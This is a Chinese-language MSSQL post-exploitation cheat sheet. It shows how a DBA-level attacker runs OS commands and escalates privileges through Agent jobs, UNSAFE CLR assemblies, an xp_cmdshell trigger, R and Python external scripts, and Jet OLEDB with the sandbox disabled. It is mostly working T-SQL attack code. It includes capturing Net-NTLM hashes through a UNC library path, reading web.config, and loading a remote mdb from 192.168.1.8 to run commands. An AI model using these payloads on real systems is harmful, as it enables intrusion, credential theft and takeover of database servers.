SQL Server Agent Job 代理执行计划任务

描述：

SQL Server 代理是一项 Microsoft Windows 服务，它执行计划的管理任务，这些任务在 SQL Server 中称为作业。

利用条件：

•拥有 DBA 权限

•需要 sqlserver 代理 (sqlagent) 开启，Express 版本Sql Server 是无法启用的

-- 开启 sqlagent 服务 (还是没有权限，很纳闷，sa账户登录 还没权限)

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

-- 利用任务计划命令执行（无回显,可以 dnslog）

-- 创建任务 test，这里test为任务名称，并执行命令，命令执行后的结果，将返回给文本文档out.txt

use msdb;

exec sp_delete_job null,'test'

exec sp_add_job 'test'

exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'

exec sp_add_jobserver null,'test',@@servername

exec sp_start_job 'test';

CLR提权

描述：

从 SQL Server 2005 (9.x) 开始，SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

- MDUT 中的16进制的dll

dll的制作可以参考下面的文章

•<a href="; h"="">

利用条件：

拥有DBA权限

-- 启用CLR,SQL Server 2017版本之前

sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项

sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR

ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的

-- 启用CLR，SQL Server 2017版本及之后,引入了严格的安全性，可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限

sp_configure 'show advanced options',1;RECONFIGURE;

sp_configure 'clr enabled',1;RECONFIGURE;

sp_add_trusted_assembly @hash=; -- 将某程序集的SHA512哈希值添加到可信程序集列表中

-- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库

EXEC sp_changedbowner 'sa'

ALTER DATABASE [test] SET trustworthy ON

-- 导入CLR插件

CREATE ASSEMBLY [mssql_CLR]  AUTHORIZATION [dbo]  FROM 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 WITH PERMISSION_SET = UNSAFE;GO

-- 创建CLR函数

CREATE PROCEDURE [dbo].[ExecCommand]

@cmd NVARCHAR (MAX)

AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]

go

-- 利用CLR执行系统命令

exec dbo.ExecCommand "whoami /all";

------------------------------------------------------------------------------------------------------------------------------

-- 格式简化

-- 导入CLR插件

CREATE ASSEMBLY [clrdata]

AUTHORIZATION [dbo]

FROM 0x16进制的dll

WITH PERMISSION_SET = UNSAFE;

-- 创建CLR函数

CREATE PROCEDURE [dbo].[testclrexec]

@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)

AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]

-- 利用CLR执行系统命令

exec testclrexec 'cmdexec',N'whoami'

触发器提权

触发器是一种特殊类型的存储过程，它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。

SqlServer 包括三种常规类型的触发器：DML 触发器、DDL 触发器和登录触发器

登录触发器：

登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此，来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败，将不激发登录触发器。

-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在，且 容易 卡死 因为这个calc在运行 查询就不会停止)

set ANSI_NULLS on

go

set QUOTED_IDENTIFIER on

go

create trigger [ffffffff0x]

on [user]

AFTER UPDATE as

begin

execute master..xp_cmdshell 'cmd.exe /c calc.exe'

end

go

-- user 表 update 更新时，自动触发

UPDATE user SET id = '22' WHERE nickname = 'f0x'

SQL Server R 和 Python 的利用

描述

在 SQL Server 2017 及更高版本中，R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本

利用条件：

•Machine Learning Services 必须要在 Python 安装过程中选择

必须启用外部脚本

•EXEC sp_configure 'external scripts enabled', 1

•RECONFIGURE WITH OVERRIDE

•重新启动数据库服务器

•用户拥有执行任何外部脚本权限

-- R脚本利用

-- 利用 R 执行命令

sp_configure 'external scripts enabled'

GO

EXEC sp_execute_external_script

@language=N'R',

@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'

WITH RESULT SETS (([cmd_out] text));

GO

-- 利用 R 抓取 Net-NTLM 哈希

@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

-- Python脚本利用

-- 查看版本

exec sp_execute_external_script

@language =N'Python',

@script=N'import sys

OutputDataSet = pandas.DataFrame([sys.version])'

WITH RESULT SETS ((python_version nvarchar(max)))

-- 利用 Python 执行命令

exec sp_execute_external_script

@language =N'Python',

@script=N'import subprocess

p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)

OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

-- 利用 Python 读文件

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

WITH RESULT SETS (([cmd_out] nvarchar(max)))

AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权)

AD Hoc 分布式查询允许从多个异构数据源（例如 SQL Server 的多个实例）访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后，登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。

攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。

利用条件

•拥有 DBA 权限

•sqlserver 服务权限为 system

•服务器拥有 jet.oledb.4.0 驱动

-- 修改注册表，关闭沙盒模式

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

-- 开启 Ad Hoc Distributed Queries

EXEC sp_configure 'show advanced options', 1

RECONFIGURE

GO

EXEC sp_configure 'ad hoc distributed queries', 1

RECONFIGURE

GO

-- Until SQL Server 2012

EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1

EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1

-- SQL Server 2014 or later

EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1

EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1

-- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可.

-- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令.

-- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令.

Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',

'select shell("whoami")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');